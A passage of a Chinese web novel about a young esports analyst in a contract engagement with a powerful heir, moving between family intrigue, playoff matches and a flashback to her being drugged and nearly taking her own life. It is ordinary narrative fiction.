所幸这种天生凉薄的孤煞之星,与祝陶浮不过是出于新鲜感的玩玩而已。
时间一久,自然而然散了。
趁着订婚期存续,最大限度攫取利益,到时候再找个好控制的、豪门圈内,把祝陶浮再嫁换过去。
祝家夫妇打得这手算盘,与祝峥的筹谋有异曲同工之处。
同在同为利用祝陶浮的姻缘,异在祝峥企图借梁以盏的手,除掉燕媛及祝家一派的老旧沉疴。
因此,祝峥希望,祝陶浮和梁以盏,能走到最后。
祝家祠堂,除了祝老太太对着灵位真切哀悼,底下一干人等心思各异,表面尊重哀悼,实则走个过场了事。
其余旁系一干人等,有的是跟着老大,传统不变的老派思想吃肉喝汤;有的则是眼光毒辣,看中了祝峥韬光养晦的这支潜力股。
与祝启鸿交好的对祝陶浮没什么好脸色,站在祝峥身后的亲戚,面上还是与祝陶浮礼貌问好。
在正式开始以前,三三两两各自分散着闲聊,一场祭祖反而像是一场交际宴会,就差来点香槟酒水助兴。
香火阵阵、祝祷声声,面对列祖列宗的牌位,祝峥和祝陶浮站在祝家小辈行列,依次进行跪拜。
“其实我以为,你今天不会过来。”祝峥立于她身侧,低声与她谈论。
“顶着梁以盏这个名头,你不想来,没人会勉强。”
所以祝陶浮前来,从某种程度上,相当于代表着梁家,同祝峥交好。
哪怕是心知肚明的虚假联姻,至少没有到撕破脸皮的地步,表面关系依旧维系存续。
抬眸望着眼前神像,祝陶浮平静地说:“毕竟,当初订婚前夕,你帮了我。”
祝峥笑了,有些感叹道:“你真的……”
“都是流着祝家的血,就你不像祝家的人。”他说。
“太心软了,是会被拿捏的。”感慨归感慨,不妨碍祝峥半真半假,是提醒,也是威胁。
不知道是没听到,还是听到了装作不懂,祝陶浮始终神色平静,像是在认真进行祭拜祷告。
--
在她刚满十八岁,祝家便迫不及待地要将她推出去进行利益捆绑。
无论她如何抗争,到底是个刚成年的小姑娘,被祝家下药迷晕强行送给权贵。
挣脱不得,祝陶浮想得很开。
手脚被束缚住,祝陶浮用尽全身仅剩的一丝力气,将手腕上绳串的平安扣,在墙上撞碎。
那是梁以盏不告而别以前,送给她的生日礼物。
平安扣不再平安,玉石四分五裂,祝陶浮侧倒在地板,艰难地往狼藉处挪动。
手掌奋力捏起一块碎玉片,坚硬玉石把柔软掌心磨出模糊血肉,刺痛令她短暂地恢复些许意识。
下药后的力气,以及薄遂玉片,不足以割开手上的绳索。
她也没想解开,而是握着带血的碎玉,往下对准了手腕内侧,那条黛青色的血管。
算是另一种解脱,她想。
骤然间,房门砰地被从外打开。
在看清屋内状况后,来人迅速冲过来,夺过她手里的碎玉。
祝峥翻看她的手,发现血是出自掌心,而不是腕部的动脉,提起来的那颗心,才舒口气,放了下来。
祝峥半跪在她身侧,解开手上的绳索。
黑发如瀑散乱,眼睫颤抖似折了翅的蝶,苍白脆弱又破碎美丽,任谁都不忍心打搅。
但祝峥没有时间给她缓和,他一手捏住她瘦弱下颌,一手重新将瓷片举至她眼前。
“祝陶浮,知道我是谁吗。”祝峥不是怜香惜玉的人,狠狠地掐着她脸颊晃了晃,令她强行睁开眼。
秀丽眉眼紧紧蹙着,祝陶浮眼皮颤了颤,才艰难地睁开双眸。
“知道的话,点个头。”
见她实在是没有力气说话,祝峥换了个方式询问。
感觉到手边,祝陶浮的发丝,轻轻地蹭了一下,祝峥便继续往下讲。
“活着很难,死太容易了,你要想死,我不拦你。”
“我一直好奇,你能瞒着祝家,回栖梧上大学,祝家就算后来知道了,也没有强行阻挠你退出。”
“这当然不是他们良心发现,而是另有他人运作,甚至背景在祝家至上,所以我也查不到是谁。”
“不过现在,他自己找上门来了。”
说着,他将小块碎玉,重新放回她的掌心。
“但这条路也并不好走,梁氏的水比祝家更深,说不定还是落到今日这步田地。”
“虽生不如死,总归换了个活法。”
发现祝陶浮没有力气,祝峥顺带好心地握住她手掌,捏着碎玉的冰凉指尖,搭在尚且微弱跳动的腕部脉搏。
“你看,是换条路,还是到此结束。”
在祝峥贴切地帮助下,祝陶浮再没有力气,此时只消指尖微蜷,轻轻一划,动脉的血液便会开始流动,而生命就在此刻终止。
--
七月十五,鬼门大开,百鬼夜行。
中午祝氏一大家已经聚餐,下午趁着太阳落山以前,纷纷离开宗祠。
回去路上,祝峥将祝陶浮送至她说的地铁口。
暂时还未将她现在和梁以盏同住屋檐下的事情告知,祝陶浮按照过去在科技园的实习报了个地址。
夏秋之交,昼长夜短,祝陶浮辗转几路、走出地铁,夕阳余晖依然缀在天边,泛着将褪未去的亮光。
集体性的寺庙道观,私人家的宗庙祠堂,白日里是香火连绵。
到了傍晚,火光换了个地方,从里延伸到外。
许多居民在街边、十字路口,开始各自画上一个又一个香灰圈,写上亡人姓名,拿出打火机点燃买来的纸钱,以寄哀思。
小心地避让燃烧的黑圈,祝陶浮到家时,天色才逐渐开始黯淡。
客厅里灯光暖色融融,餐厅里浅浅飘出晚间烟火气,驱散了节日里的寂寥冷清。
“你今天,下班挺早。”
祝陶浮站在玄关,发现梁以盏已然洗完澡、换上家居服,坐在沙发上敲着笔电忙碌。
“嗯,你说过的,中元节早些回去,不要做孤魂
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野鬼。”梁以盏平静说。
本来打算晚上再整理一下明天比赛的数据,通宵外加奔波了一天,眼皮实在沉重。
祝陶浮吃过晚饭,早早回房休息。
偶然的有些时候,祝陶浮做梦,会在梦境里有自我意识,而没有随着荒诞梦魇飘散。
比如今晚,沉睡以后,她能清晰感觉到,自己是在梦里。
她梦见了自己的母亲,那时候她还没有生病,容颜漂亮年轻,没有被病痛折磨得疲惫消瘦。
母亲和她窝在出租屋的沙发里,用廉价的投影仪播放着游戏比赛。
没有时间打游戏,但祝陶浮很喜欢看比赛。
母亲看不懂,却笑眯眯地耐心听她讲解。
很平淡的日常,祝陶浮却拥有自我意识,仿佛是作为旁观者,而无声地流着眼泪。
她唤了一声妈妈,母亲低头笑笑。
常年劳碌没有保养的掌心有些粗糙,却温柔地抚摸着自己头顶。
祝陶浮还没来得及倾诉更多的话语,下一秒,画面如同时空撕裂般,坠入暴雨的夜。
老旧巷子里灯光破败、路面漆黑,雨水淋湿透彻,祝陶浮分不清脸上是雨还是泪。
眼前清冷少年挡住去路,似乎是刚解决完一场惊心动魄的厮杀,眼底泛着和手背一样的猩红血痕,朝自己一步一步逼近。
“你不是说,中元节不要做孤魂野鬼,你怎么在这。”梁以盏掀起眼眸,无波无澜地看过来。
“嗯,不说话。”他语调平淡,修长手掌慢慢攀附在她颈侧。
指腹稍微用力,能感受到薄透瓷白的皮肤下,细微跳动的脉搏。
手指再一收紧,脆弱血管便会和她的心脏一样,停止跳动。
湿冷阴戾如有实质般漫了过来,祝陶浮呼吸一滞,却还是紧抿牙关,死活没有松口。
鬼节的夜晚,是不能叫活人姓名。
可对方偏不让她如意,似是挑逗、也是探寻,流连在她咽喉的手指,渐渐往上,就快要抚摸于唇间。
祝陶浮侧偏过头,下颌碰到一个冰冷物件,是他中指上的银戒。
按照时间线,此时梁以盏并没有这枚戒指,因为她余光里瞥见,对面制服上分明是染了血的校园徽章。
比雨水还要冷冽的气息,倾洒在锁骨颈窝。
梁以盏更靠近了一步,薄唇几乎贴靠着她耳垂,仿佛在轻轻叹息。
“是不愿意,还是不敢。”
--
下午一点半,QSG基地,队员们收拾外设准备前往比赛现场。
训练室里,祝陶浮呆坐在显示屏前,显得有些魂不守舍。
“小祝,不用过于紧张,你已经做得很好了。”
教练以为她是面对第一场比赛,很是担心,所以走过来安慰道。
其他队员们见状,也纷纷鼓励,祝陶浮的数据分析已经堪称完美,但今天既然选择尝试新体系,比赛肯定会状况频出。
“高风险,高收益,玩点股票的都知道这个道理。”大巴已经停在基地门口,领队进屋,敲了敲训练室的门,提醒大家出发。
“QSG一定会拿下胜利。”
祝陶浮冲他们笑了笑,说:“加油,我在基地,等你们好消息。”
祁招最后一个离开,瞥了她一眼,忽然与众不同地来了一句:“难看死了。”
昨晚没睡好,的确有些憔悴,祝陶浮以为他在说自己强颜欢笑。
“我是说,你那镯子。”
经他一提,祝陶浮明了,是梁以盏戴在她手上、内里雕刻经文的银镯。
祝陶浮不明所以,抬起手瞧了瞧:“辟邪用的,还好吧。”
从外人角度,就是一个平平无奇的素圈,说不上多好看,也绝对不算丑。
轻嗤了声,祁招半真半假调侃:“是吗,怕不是人鬼情未了。”
16. 第 16 章
中元节过,洲安傍晚像是无声地褪去一层看不见的迷雾,渐渐散了阴沉气息,恢复昔日里的人间烟火。
晚上的应酬是梁氏名下,委托裴家联合开发的新项目,裴瑄将车停在集团楼下,等待梁以盏一同前往。
“哎呀,昨天一天可累死我了。”裴瑄伸了个懒腰,垂头丧气道:“陪着家里老人上香、抄经、祈福一整天,行程拉满完结了一场重大任务。”
“你说咱两在国外,万圣节也是鬼节,整夜玩得挺嗨,怎么中元节要早早回去,这么忧愁呢?”
裴瑄倚靠在车窗,看着窗外,单手托着下巴思考。
低头拨弄着手机,梁以盏眼也未抬,淡淡道:“一个是装扮躲避,一个是尊重敬畏,能一样。”
“哟,你还挺懂啊。”裴瑄笑了,回过头看他。
“怪不得你昨天早就下班回去,你那些下属们可高兴坏了,也跟着早回家。”
梁以盏没有回复,算是不置可否。
“诶,那你是回梁家祖宅了?我听说你那两个长兄,可是特地回到宗祠,参与祭拜。”裴瑄吊儿郎当地问。
“没有。”梁以盏答得果断。
“什么?你竟然不是去祭祖,总不至于去约会吧。”裴瑄震惊,随口开玩笑道:“大半夜地,你搞鬼呢。”
眉梢几不可查地一跳,梁以盏从手机里分出半刻精力,闲闲地看了他一眼。
瞬间感到周身凉飕飕的,裴瑄咽了一下,投降求饶:“错了错了,搞我搞我。”
冷漠地收回眼神,梁以盏轻嗤了声:“你也配。”
裴瑄:……?
“不过说真的,梁老爷子和梁老太太真是糊涂,就任由梁靖明和梁煜借此由头,再次打开梁家的大门。”裴瑄眉头皱起,叹了口气。
“你父亲都在医院躺成植物人了,既然他们能狠心至此,梁老二位就不怕引狼入室,自己重蹈覆辙?”
车子性能良好,隔绝了外界尘世喧嚣,也阻断了人间凡尘的灯火。
光亮与温暖,渗透不进这看似明晰、实则月黑风高杀人越货的勾当。
默了半晌,梁以盏才堪堪开口。
“他们可清醒着,只是怕功高盖主,脱离掌控。”
梁靖明和梁煜,到底多年未能养在梁家,兄弟两再怎么精于算计,弯弯绕绕地龃龉关系,还得倚仗梁老二位打开。
梁以盏就不一样了,从始至终,他都是梁家唯一且第一顺位继承人。无论明枪还是暗箭,他都承受最多。
偏偏他又都扛了过来,自然成了难以对付的一根棘刺。
话题至此,两人心知肚明,没有往更沉重的方向继续。
转了个弯,裴瑄拣了些边角料调侃。
“哎,还是二老太心软了,好歹别人家的私生子大部分年龄堪堪,当初你这两兄弟蹦出来,都比你大了好几岁,这不扯吗。”
“心软?心狠更合理吧。”梁以盏丢下这么个评价,解锁手机,偏撑着头,接着查看。
距离餐厅还有一段距离,裴瑄在车上百无聊赖,见梁以盏有事在忙,又坐不住了。
随即探过头来,忍不住犯一下贱:“聊什么呢,争分夺秒。”
话音未落,裴瑄见手机屏幕上方,真的显示着时、分、秒。
而且刚刚注意到,梁以盏手机不是竖着的聊天模式,是横着的正在观看。
“这又什么情况,我记得你不玩游戏啊,怎么在看比赛。”
在裴瑄的记忆里,梁以盏在国外无论是上学还是工作,对于游戏并不感兴趣,更何况比赛。
校园和公司处理完事情,已然耗费大量时间。
剩余的闲暇,则是跳伞赛车等极限运动居多,高尔夫马术是为了豪门圈社交需要,观看的比赛也是大型场馆的运动职业联赛。
从未听说过、也没见过他对于网络游戏有所关注。
没时间,没兴趣。
可这会儿他漫不经心地看着比赛,手指点开一些app的面板数据,很是熟稔的模样,裴瑄着实有被震撼到。
“不是,哥们。”他难以置信地将梁以盏从头到脚的打量了一番,对方还是那副漠然冷艳、令人退避三舍不敢招惹的冷冰冰姿态。
于是只好归咎于,无法言说的原因。
“难道昨天,是你在过节日。”裴瑄纳闷了,疑惑道:“你被夺舍了?”
--
季后赛是bo5,三局两胜。
如果按照事先设定的方案搭建体系,应该会是QSG稳稳拿下胜利。
但经过祝陶浮条分缕析,QSG选手们的优与劣,都是出自于赛场经验丰富之过--
好处是什么情况下,都能嗅到并抓住比赛时的关键时机,占据经济优势。
坏处则为很容易陷入固定思维,三板斧的英雄选择,跟不上现在全局bp对于备战的考验。
在打前面弱队的时候,仅靠固有的招数,可以胜利,甚至可以说是碾压之姿。
但bo5越往后打,碰上强队,固有的思维模式必会陷入对方制造好的陷阱,而强队的队员们配合更是天衣无缝,没那么好切入时机破局。
在多方权衡比较以后,赛训组决定,在第一场bo5,试水全新的排列组合战术。
能杀进季后赛的,都不是省油的灯,而对面从下往上一路过五关、斩六将,气势正凶。
于是前四局,QSG赢得局磕磕绊绊,输得局一泻千里。
官方微博,直接被网友爆破。
“你们疯了?”
“你们到底咋了?”
“说好的夺冠,季后赛一轮游是吧?”
“骗骗哥们得了,真把自己给骗了。【流汗.jpg】”
……
弱队一般都熬不到第五把,因为战术bp,和选手自身的英雄池储备,不足以战至最终。
第五局,战歌响,面对QSG充足的战术储备和快狠准地切进团战时机,看似萎靡了一整晚,却以摧枯拉朽之势,轻松扫平战场。
比赛结束,QSG并没有胜利的兴奋,而是简短地结束媒体采访,迅速回到基地复盘。
祝陶浮没有去现场,在基地训练室待命,与他们远程语音。
“赛前这个结果,我们也预想到,会打到第五把。”教练打开投影仪,开始逐帧进行分析。
“但是,我们赢得也太丑陋了,这都打得什么东西!”语毕,他恨恨训斥队员,从上单到辅助,依次挨个往下,一个不落。
经理不会陪同熬完整个通宵,涉及商务洽谈,合作方是正常上下班,而不是电竞昼伏夜出的阴间作息。
为了保持白天的精力,他在一旁听个大概开头,便打算收工离开。
临走前,他说:“粉丝们说,QSG选择弹幕最多的打法,流量是拉满了,就看你们哥几个的心脏能不能承受住。”
祁招瞥了一眼,懒洋洋道:“鱼与熊掌不可得兼,流量和稳重不可兼得。”
一句玩笑回怼,稍稍将训练室沉闷的气氛调动升温。
“小祝,你怎么想。”从头到尾骂了个遍,面对祝陶浮,教练语气缓了缓,尽可能地和颜悦色。
第一次正式参与进比赛,祝陶浮心绪不可能完全没有一丝波动。
她想了想,道:“今天的赛果,我也有问题,新体系的搭建,过于理想化。”
对此,祁招给出了反对意见。
“现在刚进季后赛,还有容错机会,有一次掉入败者组的复活甲。越往后压力越大,心理上更不敢去尝新,操作愈发
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变形溃败。”
副教练点头,耐心解释:“小祝和祁队的意见是试新没有错,但你们是一个team,上下得一条心。”
他说得委婉,在场的人都听明白了。
毕竟,大家都喜欢待在舒适区,里面安全又舒服。
也不是谁,都乐意去在外面的新世界,碰得头破血流。
祁招和祝陶浮对于试新无所畏惧,但并不是所有人都有勇气面对失败的结果。
即使是老将,也是渴求胜利,哪怕只是暂时的饮鸩止渴。
外界舆论、俱乐部背后资方的审视,以及投资广告商的价值研判……
要考虑的东西实在太多太多,总讲过程比结果重要,那是心灵鸡汤。
在祝陶浮刚来的时候,大家会勇敢替她争取分析师名额。
但在面对赛果的时候,人性的两面性,也会退缩犹豫。
毕竟,电子竞技,只有输赢。
室内陷入短暂沉默,领队打起圆场。
“小祝你压力别太大,第一场比赛已经很非常棒了。”说着,他冲祝陶浮比了个赞。
教练脸色稍霁,也承认道:“小姑娘看着柔弱漂亮,没想到还挺敢的,祁队挑的人,果然有两把刷子。”
后脑勺枕靠在电竞椅,半扎着的狼尾有些凌乱,祁招看过来的目光懒散不羁。
“我眼光是好。”他毫不掩饰地应下夸赞,然后说。
“也是她自己争气。”
--
可能是第一次正式比赛,高强度复盘后,紧张结束是松懈的疲惫。
或者,是身旁的人参加完应酬,西装散着的烟酒气息,有些令人发晕。
祝陶浮今晚下班回家路上,显得异常沉默。
“心情不好。”
嗓线喑哑开口,梁以盏是陈述并非疑问。
夜半晚风过于轻柔,允许过路人短暂迷醉其中。
祝陶浮犹豫着,情绪外露了一些些,迟疑地点了点头。
比赛的很多事情,涉及内部战术,她无法言明。
而且,她也不指望梁以盏能理解。
“今天的bp做得挺不错。”梁以盏缓声说:“就是过于理想化,但不是你的错。”
祝陶浮一愣,转头抬眸,询问身侧人:“你看比赛了?”
她看着梁以盏时,对方也瞥垂向她,回答得坦然诚实:“没时间看完,但bp阶段都看了。”
“赛训组没有作为重点安排,队员是应付式练习新英雄,当然达不到应有的效果。”
说到这,他有些不屑,却还是耐着性子评价:“也就那个祁招,想法跟你差不多一致,ban和pick,他都承担着牺牲位。”
并非在场人员,梁以盏却一阵见血点破问题所在。
路灯昏黄,他的目光幽静深邃,令人不自觉吸引沉沦。
或许气氛过于闲适轻松,祝陶浮站定脚步,慢吞吞地说:“是不是,我太自私了。”
话一出口,她有些后悔,自己不该这么问梁以盏。
但说都说了,无非就是诸如,她并不自私、挺顾全大局的安慰。
或者下次做得再平衡、更完善的一些建议。
然而两者的答案,梁以盏没有落在任何一个。
“自私,是错吗。”他往前迈了一步,离她更近。
低哑缓缓而谈,似在她耳廓边厮磨。
“我希望你能,自私一点。”
订婚协议推递过来的时候,祝陶浮握着笔,迟迟没有落字。
“那我需要承担什么?”
梁以盏坐在她对面,淡然沉声:“你不用负责。”
现在他站在自己面前,说“自私一点。”
时隔多年,画面仿佛重现。
17.第 17 章
18岁,祝家祖宅,祝陶浮没有成人礼,只有一场交易。
她不出去达成商业的利益交换,祝家二老觉得没关系,那就把人叫来屋子里。
争执、吵闹、支离、破碎……
阴谋如乌云密布在偌大的宅院上空,黑沉沉地盘旋不散。
当初把她丢到混乱不堪的格兰佩国际高中,祝家是打算包装以后卖个更好的价钱,攀附更高层次的权贵。
在那里面,跟那些豪门圈的败家烂泥们混杂在一起,醉生梦死、奢靡度日,一点点磋磨她的心气,直至成为一个虚无空洞、任人摆布的漂亮玩偶。
见不得光的私生子,那就应该安分地待在臭水沟任人践踏,消耗殆尽最后一丝价值。
可祝陶浮不仅没有沉沦下去,反而凭自己本事,背着祝家跑回了栖梧。
终日打雁,反被雁啄了眼。
燕媛明面上未显,心理极其阴恨扭曲,最是厌恶脱离掌控的事物。
祝启鸿耽于声色,对于孩子没什么感情,所以燕媛的行为,他睁一只眼闭一只眼,本质上是推波助澜、助纣为孽。
祝老爷子生前殚精竭虑,事无巨细,导致他身为长子,却没有主见,听凭他人吩咐。
在祝老爷子过度劳累、早早撒手人寰以后,祝启鸿自然是撑不起祝家。
这点当然不好,却又是燕媛选择祝启鸿的原因,很好拿捏。
借祝家之手,来挽救燕家的颓势。
她那不成器的弟弟,既没有经商头脑,也没有算计筹谋的手腕,将燕家公司挥霍得快剩个空壳,勉强维持着表面运转。
于是祝启鸿与燕媛,一拍即合。
一个需要人掌局,一个需要借人势力,互不干涉,却又彼此间合作亲密无间。
两人都是长年累月浸淫在看似风光、实则残酷冷血的豪门里,为保证各自利益,祝启鸿让渡祝家部分权力,而燕媛则是永远无法拥有自己的孩子。
帮别人养孩子,那是丈夫自己的,不是亲生的,燕媛即使心底再明白是一场交易,可人非草木,血肉生生扭曲。
一个祝峥的培养,已经够让人头疼。
又横插一个祝陶浮,燕媛心底再也泛不起一丝涟漪。
别人的孩子用起来不心疼,但刀有刀刃,好用的那一面翻过来,是不好操控而划伤使用者。
祝峥和祝陶浮,都是看似乖顺,然而却是一点,都不听话。
前几日老宅里一地狼藉,却又生生熬至转机。
祝启鸿和燕媛面上笑着、冷眼旁观,将偌大空旷的祖宅空间,暂时让渡给梁以盏和祝陶浮。
就像两人的订婚,不过是短暂存续。
彼时梁以盏尚未成为梁家掌权者,但相较两年前的身败名裂,复又在梁家站稳脚跟。
虽与梁靖明和梁煜斗得激烈,旁人却不得不再次审视,这个落难的昔日天之骄子。
燕媛微笑着打招呼:“梁少,小祝这孩子也真是,原来早说是青梅竹马、两情相悦,我们这些当家长还帮着张罗什么。”
“就是啊,可能小姑娘害羞,也没跟爸爸妈妈讲。”祝启鸿站在燕媛身边,也跟着赔笑,两人俨然是一对替孩子操碎心的包容父母。
“那你和小祝聊,我们就先回房了。”
一时间,客厅里只剩梁以盏和祝陶浮,在沙发上安静地相对而坐。
只一年的光景,祝陶浮望着他,觉得有些陌生。
容颜未改,眉眼依旧清冷深峻,却仿佛凝着化不开的冰,比初见时周身更为冽寒阴沉,让祝陶浮不知道怎么开口。
她高考刚一结束,他便不告而别,毕业典礼也未再出现。
那时候是课桌上,少年坐在对面,慵懒懒散却又耐着性子,勾画讲题。
数字仅是公式,结果无外乎对错。
但现在分不清对错,它代表的是价值。
春日阳光料峭,暖气舒适和融,仿佛真是个适合谈婚论嫁的好天气。
茶几上文件翻页发出细碎声响,梁以盏从公文包里拿出数十份、上百条关于资产的协议合同,祝陶浮则低着头不知道在想什么。
不仔细瞧,当她是在放空发呆。
实际上,祝陶浮悄悄摁着手心里的结痂,让疼痛稍微保持大脑清醒,不至于沉溺在这春日暖阳里。
她皮肤白且薄嫩,因而手腕上尚留有绳索束缚的淤青。今天特地穿得厚实、衣袖掩盖住痕迹。
左手掌心碎瓷片留下的划痕,这几天涂抹特质膏药,祝家派佣人贴身伺候起居、没有沾染水,伤口恢复得很快。
只需要再几日,就会消失得无影无踪。
仿佛什么都没发生过。
骨节忽然感到一阵凉意,祝陶浮眨了眨眼,发现是对方修长手指伸了过来。
强行探开她蜷缩的左掌心,令她无法再掐弄那道自己方才挠破开、渗着丝缕鲜血的旧痂。
“等会儿回去,我让医生处理一下。”深灰眼眸看过来,颜色暗沉冷清,与这鲜艳春日格格不入。
像是一台运行陈旧的电脑,别人触碰后,缓慢启动开机。
将手指从他掌心收回,浅浅搭在膝盖上。祝陶浮顿了顿,慢慢地抬头,询问:
“回去?回哪?”
梁以盏看着她,平静说:“你想回哪里,就回哪里。”
“栖梧。”祝陶浮道。
“好。”她答得快,对方亦是应得干脆。
态度如此果决,没有任何附加条件,也没有拖泥带水,反倒令祝陶浮愣怔,一时间不知道说什么好。
她不言语,梁以盏替她往下。
他从一堆文件里先拿出一份协议,替她不方便摊开的左手,摁住纸页,然后将笔递到她没有受伤的右手,缓声陈词:“这些资产分门别类,从这里开始签。”
声线冷然寻常,仿佛过手的不是以亿为单位计量。
慢半拍地,祝陶浮没有落笔,反而更加疑惑了。
“为什么?”
官方理由,稳定的婚姻关系,是梁氏集团继承人的条件之一。
但这与祝家攀结姻亲不同,祝陶浮是等着被人挑,而梁以盏则是任由他选。
天差地别,为何会是自己。
“恕我直言,未婚妻这个位置,是祝陶浮、赵陶浮、孙陶浮……或者随便什么小王小李,恐怕都没什么关系吧。”字斟句酌,又直剖要害,祝陶浮看向他。
室内一片安静,没有丁点谈婚论嫁的喜庆,甚至还不如丧事哭吼两嗓子,掉得一两滴泪里含有感情。
半晌,梁以盏说:“你觉得没有关系,可以随时终止离开。”
“但你现在,没有别的选择,不是吗?”
语调无波无澜,如同冰冷的
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商业谈判。
没有直面回答,却已然给出了答案。
沉默良久,祝陶浮淡声道。
“那我需要承担什么?”
梁以盏:“你不用负责。”
--
QSG即将迎战的是榜单紧咬在后面的第四名,祝陶浮一直以为,以自己佛系性格,不会太过担忧。
可在床上辗转反侧,竟然失眠了。
屋内配有电脑,但二楼的电竞房更为专业方便。
她倒了杯水,准备再去电竞房看看数据。
季节还未到秋分,六点五十的天色不算大亮,也不至于昏暗,她在楼梯口,碰到刚从健身房出来的梁以盏。
汗水洇湿黑色背心,平日里西装下的胸膛线条紧实流畅,肩背臂膀的轮廓微微充血隆起,随着他拎起毛巾的动作上下起伏,性感又锐利。
冷清气息之下,是扑面而来的荷尔蒙,极具侵略性,桀骜不羁。
留意到楼梯口的动静,梁以盏走了几步,站定在她身前。
凌乱湿发下的眉骨凌厉清晰,清晨熹微融化在他冷灰色眼眸里。
以前在私立高中,高三年级没什么人,基本高二都去了国外,剩下的都是扶不上墙的烂泥,醉生梦死、混混度日。
那些同学嘴里没什么好话,梁以盏虽因家族内斗落魄,明面上仍不敢招惹这尊冰冷修罗。
趁着人没来,背着他大放厥词。
“哎哟,我当什么了不得的天之骄子,还不是跟咱们混迹在一块儿。”
“笑死了,还梁氏集团唯一继承人,唯二、唯三,才排得上他吧哈哈哈……”
“诶,你说排,想跟他上床的,估计得排队吧。”
“你们排去吧,今晚要去找我那模子哥玩玩。”
“会所里没上新啊,那群小白脸扭扭捏捏,脂粉气太重,哪像梁以盏,那双眼睛灰暗得挺性感,又凶又欲,看得我腿软。”
“那是你自己骚,发情了,不如跟哥哥我睡一觉,包给你治好。”
……
后面的话不堪入耳,祝陶浮默默地走出教室,等上课铃响再进教室,尽量躲避着这些男男女女。
上午的半天课要打卡,她得营造表面上在学校的假象,免得学校跟祝家打报告。
又凶又欲,第一次见面被他掐着脖子,祝陶浮觉得是挺凶的。
欲一直没感觉出来,大多数时候,是凉薄沉静。
过于安静,死寂般令人不寒而栗。
然而此刻,似明似暗得走廊里,可能是没睡好,大脑宕机,祝陶浮脑海里,莫名浮现出,又凶又欲……
每次她愣怔时候,身上过于清冷的气息,会浅淡褪色些许,深藏在底下明媚艳丽,才堪堪显露。
穿着普普通通的棉质睡衣,神情慢吞吞的,瓷白小脸纯净又倦媚,看起来特别好欺负。
眼睫半垂,沉灰目光如有实质,坠在她发梢翘起的一缕呆毛。
看他伸出手掌,祝陶浮缓慢回神,迷惑发问:“你干什么……”
话音未落,指尖的玻璃杯一空。
喉结滚动,梁以盏自然地接过她手里的水杯,慢悠悠饮下。
祝陶浮:……
本想说,不是给你拿的。
想了想,她还是将没说完的话,彻底咽了回去,因为自己刚刚才喝了一口。
18.第 18 章
无论多么坎坷,季后赛第一场开门红顺利拿下,但QSG接下来面对的则是排名积分紧咬在他们身后的第四名。
相隔一天,进行排行榜三与榜四之争。
在正式开打的当天中午,QSG再次对榜四的队伍,进行战术分析的预研判。
“可以啊,bless,有胆识。”
如果说第一场比赛,拿出的bp参考方案,是初生牛犊不怕虎。
在重压之下,祝陶浮依然选择的破而后立,而非在原地踏步、呆在舒适圈。
“上次bo5的硬骨头还没啃够,这次又来。”领队过来催促大家,准备去门口集合出发。
瞄了眼战术白板,发现排兵布阵,依旧是尝试新体系。
教练笑骂,纠正用词:“啃也太粗鲁了,对女孩子用词文明点,叫不撞南墙不回头。”
随即领队比了个手势,歉疚道:“我的我的,跟哥几个说荤话习惯了。”
近段时间相处下来,大家发现祝陶浮是外表漂亮娇艳,内里的底色却是坦然宁静,没有丝毫矫揉做作,比他们男生有时候还要能沉得住气、扛得住事。
说话便自然而然地熟稔热络,时常顺嘴了没个正形,还得是在场年纪最大的教练,出言提醒。
眉眼弯弯,祝陶浮摆手没事,跟着调侃:“我是,撞了南墙,也不回头。”
上单正在收拾桌面东西,闻言抽空回头,冲祝陶浮比了个大拇指,称赞:“很有勇气,跟队长有得一拼。”
这个赞赏发自内心,此事曾有记载,在bo5全局bp的规则没有开始以前,每一局仍可以选择上一把曾使用过的英雄。
同一英雄连输两把,三局两胜已经来到悬崖边缘。
大多数情况是不会再选用相同的路径,但祁招偏偏继续沿用上一局的对阵英雄,在调整游戏思路以后,往后干脆利落地连赢三把,拿下最终的胜利。
打野披着外套,来训练室后面的箱子里拿零食。
路过ad座位,边吃着薯片,边贱兮兮地意有所指:“哈哈,撞了南墙不回头,好马不吃回头草,chess在感情这方面,很有经验啊。”
说得是他约会不断,却从来不会是同一个,每段感情分了就分了,不会复合,徒惹佳人伤心惆怅。
拉上外设背包拉链,祁招给了打野一脚。
打野没留意,到手的薯片脱手而飞,差点摔了个趔趄:“我靠,谋杀队友,我死了,你们今天谁打野!”
实则祁招掌握分寸,就算摔,他也是摔在训练室后面的小沙发上,不会真的造成损伤。
打野故意哀嚎,祁招冷眼旁观:“那就埋了,为民除害。”
辅助憋忍着笑,说:“祁队也是为你好,你上次赛前吃多了,比赛中途暂停去卫生间,罚款两万,这是为你节省开支呢。”
默默走到角落,拿起扫帚清理地面的薯片碎屑,祝陶浮微蹙着眉:“哪里节约,这是浪费。”
“小祝才是明白人,你们别胡闹了,下次都给我注意点。”监督吩咐。
“现在,赶紧弄完,准备去门口上车!”
--
正式开打,赛训组调整的方案,是第一局稳一手,拿下胜利,鼓舞士气,这样提振整体队伍的信心,去在第二局里,试错新阵容。
祁招觉得没必要,bo5不是第一局定生死,但教练拍了拍他的肩膀,语重心长道:“队长到底是队长,可不是每一个人都像你一样有勇气和底气,去承担失败的后果。”
闻言,祁招没有多说什么。
是人就会有短板,不是每个人都是英雄海,什么都能玩,什么都能上。
能在现有既定的情况下,将自己优势发挥到最大,已实属不易。
外界看来,第三名和第四名之争,应该相当激烈。
由于前天QSG对战排名后的队伍表现,磕磕绊绊险胜,粉丝们也是跟着捏了一把汗,担心复活甲会掉在这个地方,今天势必是一场硬仗。
但具有游戏理解的明眼人,在看到今天首局的bp定调,做出结论判断。
“熟悉的QSG风格回来了。”
“我可以肯定,今天的比赛,将是QSG三比零胜,最多三比一!”
--
晚上八点一刻,QSG全体打算去一家高档餐厅聚餐。
既是对于胜利的犒劳,也是接下来五天最后的放松。
大部分情况下,队伍会在联盟竞技场进行简单复盘后,离开场馆。
今天这场胜利以后,QSG晋级胜者组,下一场在五天后。
时间尚早,队员们先去吃饭,再返回基地,详细复盘。
除了第二局,剩下的一、三、四局里,选出的阵容和战术布局,都是QSG最熟悉的打法。
因此,QSG屡战屡胜,越打手越热,胜利的三场没有丝毫悬念,从开始到结束,果断地横扫敌方,成为赢家。
领队让司机先回基地,叫上祝陶浮一起,祁招上车后,让不用返回。
“她跟我报备了,我们直接去餐厅。”
祝陶浮说晚上聚餐不参加了,晚上复盘按时抵达,问可以吗。
祁招想道不行,字都打在聊天框里了。
然而点击发送的时候,看到她用语礼貌客气,眼前浮现出,那双乌黑漂亮的眼眸,沉静又亮晶晶,叫人不忍心拒绝。
指尖拨弄了下,又调转按删除键,最后发了个句号过去。
祁招:“。”
对方秒回,祝陶浮:“谢谢队长!”
